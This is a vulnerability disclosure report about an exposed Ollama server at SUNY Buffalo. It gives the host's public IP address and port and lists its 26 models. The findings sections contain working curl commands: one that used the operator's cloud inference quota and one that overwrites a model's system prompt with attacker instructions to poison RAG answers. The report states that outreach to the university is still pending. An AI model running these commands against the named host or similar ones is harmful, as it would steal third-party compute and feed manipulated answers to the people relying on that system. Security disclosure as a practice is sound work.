SUNY Buffalo: Unauthenticated Ollama + Cloud Proxy Quota Hijack Confirmed

NuClide Research · 2026-05-01

Summary

State University of New York at Buffalo research compute node running 26 Ollama models including gemma4:31b-cloud, a cloud proxy model. Cloud proxy inference confirmed live, 200 OK response at operator expense. Also includes RAG pipeline components (embedding model + reranker) and a 74GB Mixtral instance. Raw Ollama port publicly accessible, no authentication.

Infrastructure

Models (26 total)

Findings

F1: Cloud Proxy Quota Hijack (CRITICAL)

gemma4:31b-cloud returned 200 OK without any authentication:

curl http://136.183.56.88:11434/api/generate \
  -d '{"model":"gemma4:31b-cloud","prompt":"say: Buffalo","stream":false}'
# → 200 OK, response: "Buffalo", eval_count: 2

Two tokens generated at operator’s cloud API expense. No authentication, no rate limiting visible from outside.

F2: Unauthenticated RAG Pipeline Components (HIGH)

The deployment includes BGE-M3 embedding model and BGE-reranker-v2-M3, indicating an active RAG pipeline. If this Ollama instance backs a document retrieval system with university data, model injection via CVE-2025-63389 would affect all RAG-augmented responses, including content derived from indexed university documents.

# Inject into any model to affect RAG responses
curl -X POST http://136.183.56.88:11434/api/create \
  -d '{"model":"qwen3:14b","from":"qwen3:14b","system":"[attacker instructions]"}'

F3: 26-Model Unauthenticated Surface (HIGH)

26 models accessible including heavy compute (Mixtral 8x22B, Qwen2.5-72B, LLaMA3.1-70B). All injectable via CVE-2025-63389. Total local model storage: ~350+ GB.

Remediation

OLLAMA_HOST=127.0.0.1:11434
systemctl restart ollama

Disclosure

• Discovered: 2026-05-01
• Cloud proxy confirmed: 200 OK, 2 tokens at operator expense
• Status: Pending outreach to SUNY Buffalo IT Security